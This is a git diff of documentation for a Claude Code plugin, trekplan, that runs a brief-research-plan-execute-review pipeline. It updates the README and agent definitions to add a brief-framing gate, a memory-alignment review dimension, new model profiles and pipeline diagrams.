> **Cross-cutting invariant: brief framing must match operator intent (2026-05-15).** Etablert etter residiv. Briefen er pipelinens source of truth; operatørens intent lever i hodet + i memory-filer (`feedback_*`, `project_*`); pipelinen tvinger ikke alignment. Høyere reasoning-kraft polerer feil premiss istedenfor å utfordre det. **Tre lag av forsvar (input-siden), alle BLOCKER ved brudd når v5.5 shipper:** (1) eksplisitt `framing: preserve|refine|replace|new-direction` i brief-frontmatter, `AskUserQuestion`-validert før brief-prosa skrives; (2) memory-alignment check som ny dimensjon i `brief-reviewer` — sammenlikner brief-prosa mot relevante memory-filer og rapporterer eksplisitte motsigelser; (3) obligatorisk `## TL;DR`-seksjon (≤ 5 linjer) øverst i `brief.md`. Implementeres i v5.5 (tracket i `STATE.md` § NESTE STEG når aktivt). Inntil shipping: operatør må manuelt sjekke at briefens framingord ikke motsier intent, særlig etter avvist iterasjon hvor "delta fra forrige" er en farlig default-ankring.
|
||||
> **Cross-cutting invariant: brief framing must match operator intent.** The brief is the pipeline's source of truth; operator intent lives in memory files — the pipeline must not polish a wrong premise. Enforced as the `brief_version 2.2` gate (v5.5), all BLOCKER for briefs declaring ≥ 2.2: (1) explicit `framing: preserve|refine|replace|new-direction` frontmatter, `AskUserQuestion`-validated in `/trekbrief` Phase 2.5; (2) memory-alignment as `brief-reviewer` dimension 6; (3) mandatory `## TL;DR`. Existing 2.0/2.1 briefs stay valid; `trekreview` briefs are exempt. Full implementation + contract evolution → `docs/HANDOVER-CONTRACTS.md` §Handover 1 (PUBLIC CONTRACT).
|
||||
|
||||
## Commands
|
||||
|
||||
| Command | Description | Model |
|
||||
|---------|-------------|-------|
|
||||
| `/trekbrief` | Brief — interactive interview produces a task brief with explicit research plan; optionally orchestrates the pipeline | opus |
|
||||
| `/trekresearch` | Research — deep local + external research, produces structured research brief | opus |
|
||||
| `/trekresearch` | Research — deep local + external research, produces structured research brief. Opt-in `--engine {swarm\|deep-research}` delegates the external phase to Claude Code's built-in `/deep-research` workflow (swarm default) | opus |
|
||||
| `/trekplan` | Plan — brief-reviewer, explore, plan, review. Requires `--brief` or `--project`. Auto-discovers `architecture/overview.md` if present | opus |
|
||||
| `/trekexecute` | Execute — disciplined plan/session-spec executor with failure recovery | opus |
|
||||
| `/trekreview` | Review — independent post-hoc review of delivered code against the brief. Produces `review.md` with severity-tagged findings (Handover 6) | opus |
|
||||
|
|
@ -39,24 +39,29 @@ Full flag reference for each command (modes, `--gates`, `--profile`, breaking ch
|
|||
| git-historian | opus | Recent changes, ownership, hot files |
|
||||
| research-scout | opus | External docs for unfamiliar tech (conditional, planning only) |
|
||||
| convention-scanner | opus | Coding conventions: naming, style, error handling, test patterns |
|
||||
| brief-reviewer | opus | Task brief quality (5 dimensions: completeness, consistency, testability, scope clarity, research plan validity) |
|
||||
| brief-reviewer | opus | Task brief quality (6 dimensions: completeness, consistency, testability, scope clarity, research plan validity, memory alignment) |
|
||||
| brief-conformance-reviewer | opus | Brief conformance review (SC + Non-Goal traceability) |
|
||||
| code-correctness-reviewer | opus | Code correctness review (7 dimensions) |
|
||||
| review-coordinator | opus | Judge Agent — dedup + reasonableness filter + verdict |
|
||||
| plan-critic | opus | Adversarial plan review (9 dimensions) |
|
||||
| plan-critic | opus | Adversarial plan review (10 dimensions) |
|
||||
| scope-guardian | opus | Scope alignment (creep + gaps) |
|
||||
| session-decomposer | opus | Splits plans into headless sessions with dependency graph |
|
||||
| synthesis-agent | opus | Distills Phase-5/7 exploration outputs into a findings digest (NW3 PoC — **dormant**, not wired; delegating Phase 7 alone yields Δ main-context ≈ 0, see `docs/T1-synthesis-poc-results.md`) |
|
||||
| docs-researcher | opus | Official documentation, RFCs, vendor docs (Tavily, MS Learn) |
|
||||
| community-researcher | opus | Community experience: issues, blogs, discussions |
|
||||
| security-researcher | opus | CVEs, audit history, supply chain risks |
|
||||
| contrarian-researcher | opus | Counter-evidence, overlooked alternatives |
|
||||
| gemini-bridge | opus | Gemini Deep Research second opinion (conditional) |
|
||||
|
||||
> **Inventory (S33 reconcile).** 24 agent files = **21 spawnable** (one, `synthesis-agent`, ships **dormant** — Δ≈0, wired to nothing) **+ 3 orchestrator reference docs** (`planning-/research-/review-orchestrator` document the inline `/trek*` workflow, not spawnable capabilities). All 24 stay `model: opus` (operator pin `40d8742`); the glue/mechanical/retrieval/dormant roles were reconsidered for a sonnet downgrade and **kept opus** — decision record: `docs/voyage-vs-cc-balance-analysis.md` §10.
|
||||
|
||||
> **Model & effort.** `opus` = Opus 4.8 (default reasoning effort `high`); `sonnet` = Sonnet 4.6; `fable` = Fable 5 (Mythos-class, above Opus — reasoning effort inherits from the session; xhigh requires a session-level setting). Select agents carry native per-spawn `effort:` (retrieval → `medium`, adversarial-reasoning → `high`) — a different axis from brief `phase_signals.effort` (orchestration shape: which agents/passes run). Per-agent table + axes → `docs/profiles.md` §Model & effort axes.
|
||||
|
||||
## Reference docs (read on demand)
|
||||
|
||||
- **Architecture, workflows, project-directory contract, state, terminology:** `docs/architecture.md`
|
||||
- **Quality infrastructure (`lib/` validators, parsers, autonomy primitives, hooks):** `docs/architecture.md` §Quality infrastructure
|
||||
- **Autonomy gates (`--gates`), Path A/B/C decision:** `docs/operations.md`
|
||||
- **Profile system (`--profile economy/balanced/premium`), lookup order, custom profiles:** `docs/operations.md`
|
||||
- **Profile system (`--profile economy/balanced/premium/fable`), lookup order, custom profiles:** `docs/operations.md`
|
||||
- **Observability (Stop hook, OTLP/textfile export, SSRF mitigation):** `docs/operations.md`
|
||||
- **Handover contracts (the 7 pipeline handovers):** `docs/HANDOVER-CONTRACTS.md`
|
||||
|
|
|
|||
125
README.md
125
README.md
|
|
@ -1,6 +1,6 @@
|
|||
# trekplan — Brief, Research, Plan, Execute, Review, Continue
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
|
|
@ -10,14 +10,7 @@
|
|||
|
||||
A [Claude Code](https://docs.anthropic.com/en/docs/claude-code) plugin for deep implementation planning, multi-source research, autonomous execution, independent post-hoc review, and zero-friction multi-session resumption. Six commands, one pipeline:
|
||||
|
||||
> **What's new in v5.1.1** — Remediation patch closing 11 of 12 findings from the v5.1.0 review (SC8 dogfood gate scheduled for sesjon 8). Lukker:
|
||||
> - **Bug fixes (load-bearing):** YAML-number bypass in `brief-validator` (#8) + doc-consistency pin lock-in (#11) so the gate fires for both quoted and unquoted `brief_version`.
|
||||
> - **Wiring:** `phase-signal-resolver` helper wired into all 4 downstream commands (#9) with TDD pair `resolvePhaseModel` + profile-resolver non-interference test (#4 SC5); `brief-validator` gate required uniformly in `/trekresearch` + `/trekexecute` (#12).
|
||||
> - **Test refactor:** runtime SC1 walk for trekbrief (#1) + per-tier resolver-output + missing-signals falsification for `/trekplan`/`/trekresearch`/`/trekreview`/`/trekexecute` (#2 #3 #6 #10) + dedicated SC5 test (#7).
|
||||
> - **Documentation:** Dogfood-gate scheduling in REMEMBER (#5, sesjon 8 manual) + Decision B high-effort behavior per command + brief Non-Goal/SC1 amendments + coordinator high-effort normalization.
|
||||
> v5.1.1 is additive — no breaking changes against v5.1.0.
|
||||
>
|
||||
> **What v5.1 introduced** — `/trekbrief` Phase 3.5 commits per-phase `phase_signals` (effort + optional model for `research`/`plan`/`execute`/`review`) to `brief.md` frontmatter. `brief_version: 2.1` activates a validator-side sequencing gate (`BRIEF_V51_MISSING_SIGNALS`) so downstream commands halt with a friendly hint when signals are missing. Composition rule per downstream command: brief signal wins per-phase, profile fills gaps. `effort == low` activates the existing `--quick`-equivalent code-path in each command (`/trekexecute` low-effort = `--gates open` + sequential). Additive — no breaking changes; pre-2.1 briefs still validate.
|
||||
> **What's new — v5.8.0: offline gold-scored output eval (SKAL-1·4b).** The review-coordinator self-eval gains a scoring run: `lib/review/gold-scorer.mjs` grades a committed agent-run fixture against the golden corpus at `(file, rule_key)` granularity (precision/recall/f1 + verdict match), and the suite census gains a third category (`goldEval`) so a scoring run is counted apart from behavior coverage and doc-pins. Offline + deterministic — committed reviewer payloads, no live agent spawn (the LLM-in-the-loop tier is the separate 4c). Internal eval infrastructure; no command/agent/Handover change. **v5.7.1:** leaner always-loaded agent listing — `<example>` blocks relocated to agent bodies (~3,180 tok/turn, no behavior change). **v5.7.0:** opt-in per-session token/cost metering (SKAL-2) + eval foundation (SKAL-1·4a). **v5.6.1:** one-line `description:` for the four reference/dormant agents (~700 tok). **v5.5.0:** brief **framing** enforcement (`brief_version 2.2`) + a `/trekreview` reviewer-schema contract. Additive — no breaking changes. **Full version history → [CHANGELOG.md](CHANGELOG.md).**
|
||||
|
||||
| Command | What it does |
|
||||
|---------|-------------|
|
||||
|
|
@ -148,7 +141,7 @@ Concrete capabilities, observable in the code — not aspirations.
|
|||
|
||||
Interactive requirements-gathering command. Runs a **dynamic, quality-gated interview** and produces a **task brief** with an explicit research plan. Optionally orchestrates the rest of the pipeline.
|
||||
|
||||
A section-driven interview loop fills required brief sections (Intent / Goal / Success Criteria / Research Plan) until each shows initial signal, then `brief-reviewer` scores the draft on five dimensions (completeness, consistency, testability, scope clarity, research-plan validity) and gates publication. Max 3 review iterations; force-stop yields a `brief_quality: partial` brief with the failing dimensions documented.
|
||||
A section-driven interview loop fills required brief sections (Intent / Goal / Success Criteria / Research Plan) until each shows initial signal, then `brief-reviewer` scores the draft on six dimensions (completeness, consistency, testability, scope clarity, research-plan validity, memory alignment) and gates publication. Max 3 review iterations; force-stop yields a `brief_quality: partial` brief with the failing dimensions documented.
|
||||
|
||||
Output: `.claude/projects/{YYYY-MM-DD}-{slug}/brief.md`
|
||||
|
||||
|
|
@ -158,7 +151,7 @@ Output: `.claude/projects/{YYYY-MM-DD}-{slug}/brief.md`
|
|||
|------|-------|----------|
|
||||
| **Default** | `/trekbrief <task>` | Dynamic interview until quality gates pass. No question cap. |
|
||||
| **Quick** | `/trekbrief --quick <task>` | Starts compact (optional sections get at most one probe), still escalates on weak required sections or failed review gate. |
|
||||
| **Profile** | `/trekbrief --profile <name> <task>` | (v4.1.0) Pin model profile for the brief phase: `economy` / `balanced` / `premium` / `<custom>`. See [Profile system](#profile-system-v410) below. |
|
||||
| **Profile** | `/trekbrief --profile <name> <task>` | (v4.1.0) Pin model profile for the brief phase: `economy` / `balanced` / `premium` / `fable` / `<custom>`. See [Profile system](#profile-system-v410) below. |
|
||||
|
||||
`/trekbrief` is **always interactive**. There is no foreground/background mode — the interview requires user input.
|
||||
|
||||
|
|
@ -185,7 +178,7 @@ If you say "stop" or "enough" during Phase 4, the current review findings are su
|
|||
|
||||
Deep, multi-phase research that combines local codebase analysis with external knowledge. Uses specialized agent swarms to investigate multiple dimensions in parallel, then triangulates findings.
|
||||
|
||||
A parallel swarm of up to 5 local + 4 external Sonnet agents investigates 3–8 research dimensions, with optional Gemini Deep Research as an independent second opinion. Findings are triangulated (local vs. external, confidence per dimension, contradictions flagged) and synthesized into a structured research brief.
|
||||
A parallel swarm of up to 5 local + 4 external agents investigates 3–8 research dimensions, with optional Gemini Deep Research as an independent second opinion. Findings are triangulated (local vs. external, confidence per dimension, contradictions flagged) and synthesized into a structured research brief.
|
||||
|
||||
Output:
|
||||
- With `--project <dir>`: `{dir}/research/{NN}-{slug}.md` (auto-incremented index)
|
||||
|
|
@ -202,6 +195,7 @@ Output:
|
|||
| **External** | `/trekresearch --external <question>` | Only external research agents (skip codebase analysis) |
|
||||
| **Foreground** | `/trekresearch --fg <question>` | No-op alias (foreground is default since v2.4.0) |
|
||||
| **Profile** | `/trekresearch --profile <name> <question>` | (v4.1.0) Pin model profile for the research phase. See [Profile system](#profile-system-v410). |
|
||||
| **Engine** | `/trekresearch --external --engine deep-research <question>` | Delegate the external phase to Claude Code's built-in `/deep-research` workflow; falls back to `swarm` if unavailable. Default `swarm`. |
|
||||
|
||||
Flags combine: `--project <dir> --external`.
|
||||
|
||||
|
|
@ -213,7 +207,7 @@ Research uses up to 5 local agents (architecture-mapper, dependency-tracer, task
|
|||
|
||||
Produces an implementation plan detailed enough for autonomous execution. **v2.0 breaking change:** requires `--brief` or `--project`. There is no longer an interview inside `/trekplan` — use `/trekbrief` first.
|
||||
|
||||
After `brief-reviewer` validates the input brief, 6–8 Sonnet exploration agents analyze the codebase in parallel and merge findings into a synthesis. Optional research briefs (`--research`, or auto-discovered in `{project_dir}/research/`) enrich the plan; `architecture/overview.md` priors are loaded if an opt-in upstream architect plugin (not bundled) produced one. Opus then writes the plan with per-step YAML manifests, which `plan-critic` (9 dimensions) and `scope-guardian` adversarially review before handoff.
|
||||
After `brief-reviewer` validates the input brief, 6–8 exploration agents analyze the codebase in parallel and merge findings into a synthesis. Optional research briefs (`--research`, or auto-discovered in `{project_dir}/research/`) enrich the plan; `architecture/overview.md` priors are loaded if an opt-in upstream architect plugin (not bundled) produced one. Opus then writes the plan with per-step YAML manifests, which `plan-critic` (10 dimensions) and `scope-guardian` adversarially review before handoff.
|
||||
|
||||
Output:
|
||||
- With `--project <dir>`: `{dir}/plan.md`
|
||||
|
|
@ -229,7 +223,7 @@ Output:
|
|||
| **Foreground** | `/trekplan --project <dir> --fg` | No-op alias (foreground is default since v2.4.0) |
|
||||
| **Quick** | `/trekplan --project <dir> --quick` | No agent swarm, lightweight scan only |
|
||||
| **Decompose** | `/trekplan --decompose plan.md` | Split plan into headless session specs |
|
||||
| **Export** | `/trekplan --export pr plan.md` | PR description, issue comment, or clean markdown |
|
||||
| **Export** | `/trekplan --export headless plan.md` | Legacy alias for `--decompose` (the only remaining export format) |
|
||||
| **Profile** | `/trekplan --profile <name> --project <dir>` | (v4.1.0) Pin model profile; emitted as `profile:` in plan.md frontmatter. See [Profile system](#profile-system-v410). |
|
||||
|
||||
`--brief` or `--project` is **required**. `/trekplan` with no brief exits with an error and a pointer to `/trekbrief`.
|
||||
|
|
@ -256,7 +250,7 @@ Every implementation step includes:
|
|||
- **Checkpoint:** — git commit after success
|
||||
- **Manifest:** — the objective completion predicate (Hard Rule 17)
|
||||
|
||||
Exploration uses 6–8 Sonnet agents in parallel (architecture-mapper, dependency-tracer, task-finder, test-strategist, git-historian, risk-assessor, plus convention-scanner on medium+ codebases and research-scout when unfamiliar tech is detected). Adversarial review then runs `brief-reviewer`, `plan-critic` (9 dimensions, no-placeholder enforcement, manifest audit), and `scope-guardian` (creep + gap detection). Per-agent details in [`agents/`](agents/).
|
||||
Exploration uses 6–8 agents in parallel (architecture-mapper, dependency-tracer, task-finder, test-strategist, git-historian, risk-assessor, plus convention-scanner on medium+ codebases and research-scout when unfamiliar tech is detected). Adversarial review then runs `brief-reviewer`, `plan-critic` (10 dimensions, no-placeholder enforcement, manifest audit), and `scope-guardian` (creep + gap detection). Per-agent details in [`agents/`](agents/).
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -592,24 +586,65 @@ Claude never pre-generates suggestions in this flow.
|
|||
|
||||
## The full pipeline
|
||||
|
||||
Six commands, one pipeline — each step hands a structured artifact to the next (the seven [handover contracts](docs/HANDOVER-CONTRACTS.md)):
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
B["/trekbrief"]
|
||||
R["/trekresearch"]
|
||||
P["/trekplan"]
|
||||
X["/trekexecute"]
|
||||
V["/trekreview"]
|
||||
C["/trekcontinue"]
|
||||
A["architect plugin<br/>(opt-in, not bundled)"]
|
||||
|
||||
B -->|"H1 · brief.md · PUBLIC"| R
|
||||
R -->|"H2 · research/NN-*.md"| P
|
||||
A -.->|"H3 · architecture/overview.md"| P
|
||||
P -->|"H4 · plan.md"| X
|
||||
X -.->|"H5 · progress.json (--resume)"| X
|
||||
X -->|"H7 · .session-state.local.json"| C
|
||||
C -->|"next session"| X
|
||||
X -.->|"git diff"| V
|
||||
V -->|"H6 · review.md (loop back)"| P
|
||||
```
|
||||
/trekbrief /trekresearch /trekplan /trekexecute
|
||||
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
|
||||
│ Interview │ │ 5 local agents │ │ brief-reviewer │ │ Parse plan │
|
||||
│ ↓ │ │ 4 external agents │ │ ↓ │ │ ↓ │
|
||||
│ Intent/Goal │ │ + Gemini bridge │ │ 6-8 exploration │ │ Detect sessions │
|
||||
│ ↓ │ │ ↓ │ │ agents (parallel) │ │ ↓ │
|
||||
│ Research │ │ Triangulation │ │ ↓ │ │ Execute steps │
|
||||
│ topics │ │ ↓ │ │ Opus planning │ │ (verify + manifest │
|
||||
│ ↓ │ → brief → → → → → → → → → → → ↓ │→ │ + checkpoint) │
|
||||
│ brief.md │ │ research/*.md │ │ plan-critic + │ │ ↓ │
|
||||
└──────────────┘ └───────────────────┘ │ scope-guardian │ │ Phase 7.5 manifest │
|
||||
│ ↓ │ │ audit + 7.6 recovery│
|
||||
│ plan.md │ │ ↓ │
|
||||
└─────────────────────┘ │ progress.json + done│
|
||||
└─────────────────────┘
|
||||
|
||||
Solid arrows are the forward pipeline; dashed are conditional/internal edges (`--resume`, the git-diff that feeds review, the opt-in architect input). **H1 (`brief.md`) is the only PUBLIC contract** — the single integration point for any upstream brief producer.
|
||||
|
||||
### Agents per phase
|
||||
|
||||
Every command orchestrates its agents inline from the main context (all sub-agents are `model: opus`-pinned). `/trekexecute` is the exception — it spawns **no** sub-agents.
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
subgraph BR["/trekbrief"]
|
||||
BRG["brief-reviewer (gate · ≤3 iter)"]
|
||||
end
|
||||
subgraph RES["/trekresearch · Phase 4 — parallel"]
|
||||
RL["LOCAL: architecture-mapper · dependency-tracer<br/>task-finder · git-historian · convention-scanner*"]
|
||||
RE["EXTERNAL: docs-researcher · community-researcher<br/>security-researcher* · contrarian-researcher* · gemini-bridge*"]
|
||||
end
|
||||
subgraph PL["/trekplan"]
|
||||
PLG["Phase 4b · brief-reviewer (gate)"]
|
||||
PLS["Phase 5 — parallel (6 + 2*): architecture-mapper · dependency-tracer<br/>risk-assessor · task-finder · test-strategist · git-historian<br/>convention-scanner* · research-scout*"]
|
||||
PLC["Phase 9 — parallel · plan-critic · scope-guardian"]
|
||||
PLG --> PLS --> PLC
|
||||
end
|
||||
subgraph EX["/trekexecute · no sub-agents"]
|
||||
EXI["inline step-loop + claude -p worktrees<br/>+ Phase 7.5/7.6 manifest audit (deterministic)"]
|
||||
end
|
||||
subgraph RV["/trekreview"]
|
||||
RVR["Phase 5 — parallel · code-correctness-reviewer · brief-conformance-reviewer*"]
|
||||
RVJ["Phase 6 · review-coordinator (Judge)"]
|
||||
RVR --> RVJ
|
||||
end
|
||||
BR --> RES --> PL --> EX --> RV
|
||||
```
|
||||
|
||||
`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; security-/contrarian-researcher + gemini-bridge when a leading recommendation forms (or always at `effort=high`); brief-conformance-reviewer skipped under `--quick`.
|
||||
|
||||
> **Which Claude Code primitive each phase uses — and the alternatives considered (Workflow substrate, delegated orchestrator, dormant synthesis-agent)** → see [docs/architecture.md §Primitives per step](docs/architecture.md#primitives-per-step-decision-matrix).
|
||||
|
||||
All artifacts live under `.claude/projects/{YYYY-MM-DD}-{slug}/`.
|
||||
|
||||
An opt-in upstream architect plugin (not bundled) can insert a Claude-Code-specific architecture-matching step between research and plan — `/trekplan` auto-discovers its `architecture/overview.md` output as priors when present.
|
||||
|
|
@ -744,20 +779,21 @@ An optional architect step between research and plan was previously available vi
|
|||
|
||||
## Profile system (v4.1.0)
|
||||
|
||||
Three built-in model profiles plus operator-defined `<custom>.yaml` (drop in `lib/profiles/`). Each profile pins `phase_models` for the six pipeline phases. The active profile is recorded in plan.md frontmatter as `profile: <name>` and emitted to JSONL stats for cost-attribution.
|
||||
Four built-in model profiles plus operator-defined `<custom>.yaml` (drop in `lib/profiles/`). Each profile pins `phase_models` for the six pipeline phases. The active profile is recorded in plan.md frontmatter as `profile: <name>` and emitted to JSONL stats for cost-attribution.
|
||||
|
||||
| Profile | Brief | Research | Plan | Execute | Review | Continue | Use case |
|
||||
|---------|-------|----------|------|---------|--------|----------|----------|
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | Lowest cost; high-confidence small-scope tasks |
|
||||
| `balanced` (default) | sonnet | sonnet | opus | sonnet | opus | sonnet | Default — opus where reasoning depth pays off |
|
||||
| `premium` | opus | sonnet | opus | sonnet | opus | sonnet | Critical-path planning + review when budget allows |
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | ⚠ **Experimental** (uncalibrated Jaccard floor) — lowest cost; high-confidence small-scope tasks (opt-in via `--profile economy`) |
|
||||
| `balanced` | sonnet | sonnet | opus | sonnet | opus | sonnet | Mixed — opus where reasoning depth pays off (opt-in via `--profile balanced`) |
|
||||
| `premium` (default) | opus | opus | opus | opus | opus | opus | Maximum quality — Opus on every phase (default since the 2026-05-13 operator decision) |
|
||||
| `fable` | fable | fable | fable | fable | fable | fable | Max quality — Fable 5 (Mythos-class, above Opus) on every phase (opt-in via `--profile fable`); reasoning effort inherits from the session |
|
||||
|
||||
Lookup order:
|
||||
|
||||
1. Explicit `--profile <name>` flag passed to the command
|
||||
2. Plan-file frontmatter `profile:` (when resuming via `/trekexecute --resume` or `/trekcontinue`)
|
||||
3. `VOYAGE_PROFILE` environment variable
|
||||
4. Default `balanced`
|
||||
4. Default `premium`
|
||||
|
||||
See [`docs/profiles.md`](docs/profiles.md) for the decision tree, custom-profile authoring, and cost estimation disclaimer (the per-profile cost numbers are *anslag*, not contractual SLAs).
|
||||
|
||||
|
|
@ -775,7 +811,9 @@ Default JSONL stats stream (`${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl`) is unchan
|
|||
|
||||
## Cost profile
|
||||
|
||||
Opus runs the orchestrators (one per command) and the executor (one per plan session). Sonnet runs the exploration and review swarms (5–10 agents per command, with effort/turn limits). The pipeline front-loads cheap Sonnet work so Opus only does synthesis and execution. Typical total: comparable to a long single Claude Code session — the per-command cost is published in `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl` if you want exact numbers.
|
||||
The default `premium` profile runs **Opus on every phase** of the pipeline's agent work — the exploration and review swarms (5–10 sub-agents per command; spawn sites inject the composed brief > profile > frontmatter resolution, with `agents/*.md` `model: opus` pins as the fallback) and the executor (one per plan session). The command orchestrator itself is not profile-controlled: as of v5.9, command frontmatter omits `model:`, so the orchestrator follows the session model. For cheaper runs, opt into `--profile balanced` (Sonnet on brief/research/execute/continue, Opus on plan + review) or `--profile economy` (Sonnet everywhere); for maximum quality, `--profile fable` (Fable 5 on every phase). Per-command cost is published in `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl` if you want exact numbers.
|
||||
|
||||
The `opus` alias resolves to **Opus 4.8** (default reasoning effort `high`), `sonnet` to Sonnet 4.6, and `fable` to **Fable 5** (Mythos-class, above Opus; default reasoning effort `high` — xhigh requires a session-level setting, see [`docs/profiles.md`](docs/profiles.md)). Note two distinct effort axes that share the word "effort": brief `phase_signals.effort` (low/standard/high) tunes *orchestration shape* — how many agents and passes run — while native `effort:` on selected agents (retrieval at `medium`, adversarial-reasoning at `high`) tunes the *per-spawn reasoning budget*. See [`docs/profiles.md`](docs/profiles.md) § Model & effort axes.
|
||||
|
||||
For per-profile cost estimates, see [`docs/profiles.md`](docs/profiles.md).
|
||||
|
||||
|
|
@ -792,12 +830,13 @@ Top-level layout:
|
|||
|
||||
```
|
||||
trekplan/
|
||||
├── agents/ 23 specialized agents (sonnet for exploration + review, opus for orchestration)
|
||||
├── commands/ 6 slash commands (trekbrief, trekresearch, trekplan, trekexecute, trekreview, trekcontinue) + trekplan-end-session helper
|
||||
├── agents/ 24 specialized agents (all `model: opus`-pinned; per-phase model set by `--profile`)
|
||||
│ └ 21 spawnable (1 dormant: synthesis-agent, Δ≈0) + 3 orchestrator reference docs (not spawned)
|
||||
├── commands/ 6 slash commands (trekbrief, trekresearch, trekplan, trekexecute, trekreview, trekcontinue) + trekendsession helper
|
||||
├── templates/ Frontmatter templates for brief, research, plan, session, launch
|
||||
├── hooks/ 5 hooks (pre-bash, pre-write, session-title, post-bash-stats, pre-compact-flush)
|
||||
├── hooks/ 7 hooks (pre-bash, pre-write, session-title, post-bash-stats, pre-compact-flush, post-compact-flush, otel-export)
|
||||
├── lib/ Zero-dep parsers and validators (CLI shims under lib/validators/)
|
||||
├── tests/ 109 node:test cases — `npm test` is the fork-readiness gate
|
||||
├── tests/ comprehensive node:test suite — `npm test` is the fork-readiness gate
|
||||
├── docs/ HANDOVER-CONTRACTS.md + architect-bridge-test.md
|
||||
└── examples/ 01-add-verbose-flag/ — calibrated end-to-end pipeline demo
|
||||
```
|
||||
|
|
@ -835,7 +874,7 @@ synthesis.
|
|||
The default for `/trekbrief`, `/trekresearch`,
|
||||
`/trekplan`, and `/trekexecute` is `opus` (deep
|
||||
reasoning). To run on Sonnet for cost or latency, search-and-replace
|
||||
the frontmatter in three files:
|
||||
the frontmatter in these four command files:
|
||||
|
||||
```bash
|
||||
sed -i.bak 's/^model: opus$/model: sonnet/' \
|
||||
|
|
@ -845,7 +884,9 @@ sed -i.bak 's/^model: opus$/model: sonnet/' \
|
|||
commands/trekexecute.md
|
||||
```
|
||||
|
||||
The exploration agents stay on Sonnet — only the orchestrator is bumped.
|
||||
This flips only the four command orchestrators. The exploration and review
|
||||
sub-agents in `agents/*.md` are separately `opus`-pinned — flip those too, or
|
||||
just run `--profile economy`, to put the whole pipeline on Sonnet.
|
||||
|
||||
### Disable external research
|
||||
|
||||
|
|
|
|||
|
|
@ -3,25 +3,8 @@ name: architecture-mapper
|
|||
description: |
|
||||
Use this agent when you need deep architecture analysis of a codebase — structure,
|
||||
tech stack, patterns, anti-patterns, and key abstractions.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs architecture overview
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching architecture-mapper to analyze codebase structure and patterns."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand an unfamiliar codebase
|
||||
user: "Map out the architecture of this project"
|
||||
assistant: "I'll use the architecture-mapper agent to analyze the codebase structure."
|
||||
<commentary>
|
||||
Direct architecture analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: medium
|
||||
color: cyan
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
---
|
||||
|
|
@ -103,3 +86,23 @@ Structure your report with clear sections matching the 7 areas above. Include:
|
|||
- A brief "Architecture Summary" paragraph at the top (3-4 sentences)
|
||||
|
||||
Do NOT include raw file listings — synthesize and organize the information.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs architecture overview
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching architecture-mapper to analyze codebase structure and patterns."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand an unfamiliar codebase
|
||||
user: "Map out the architecture of this project"
|
||||
assistant: "I'll use the architecture-mapper agent to analyze the codebase structure."
|
||||
<commentary>
|
||||
Direct architecture analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -5,24 +5,6 @@ description: |
|
|||
checks completeness, consistency, testability, scope clarity, and
|
||||
research-plan validity. Catches problems early to avoid wasting tokens on
|
||||
exploration with a flawed brief.
|
||||
|
||||
<example>
|
||||
Context: Voyage runs brief review before exploration
|
||||
user: "/trekplan --project .claude/projects/2026-04-18-notifications"
|
||||
assistant: "Reviewing brief quality before launching exploration agents."
|
||||
<commentary>
|
||||
Orchestrator Phase 1b triggers this agent after the brief is available.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to validate a brief before planning
|
||||
user: "Review this brief for completeness"
|
||||
assistant: "I'll use the brief-reviewer agent to check brief quality."
|
||||
<commentary>
|
||||
Brief review request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: magenta
|
||||
tools: ["Read", "Glob", "Grep"]
|
||||
|
|
@ -35,8 +17,12 @@ missing, vague, or contradictory.
|
|||
|
||||
## Input
|
||||
|
||||
You receive the path to a brief file (trekbrief v2.0 format, produced by
|
||||
`/trekbrief`). Read it and evaluate its quality across five dimensions.
|
||||
You receive the path to a brief file (trekbrief format, produced by
|
||||
`/trekbrief`). Read it and evaluate its quality across six dimensions.
|
||||
|
||||
The caller may also supply **operator memory context** (paths or excerpts of
|
||||
`feedback_*` / `project_*` facts) in your prompt for the memory-alignment
|
||||
dimension. If none is supplied, that dimension scores 5 (N/A) — see dimension 6.
|
||||
|
||||
A brief has these sections (see template for full structure):
|
||||
- `## Intent` — why the work matters (load-bearing)
|
||||
|
|
@ -148,6 +134,39 @@ Flag as **research-plan invalid** if:
|
|||
- `research_topics` count in frontmatter does not match section count
|
||||
- `research_status: complete` but research files are missing on disk
|
||||
|
||||
### 6. Memory alignment (NEW in v5.5)
|
||||
|
||||
The brief is the pipeline's source of truth, but the operator's *real* intent
|
||||
also lives in memory facts (`feedback_*`, `project_*`). When the two diverge,
|
||||
downstream reasoning power polishes a wrong premise instead of challenging it.
|
||||
This dimension is the second layer of the framing-alignment defense.
|
||||
|
||||
The caller MAY supply operator memory excerpts or file paths in your prompt.
|
||||
|
||||
- **If memory context IS supplied:** compare the brief — especially `## Intent`,
|
||||
`## Goal`, and the frontmatter `framing:` value — against those facts. Report
|
||||
**EXPLICIT contradictions only** (a brief claim that a memory fact directly
|
||||
negates), never vibes or soft mismatches. With no contradiction found, set
|
||||
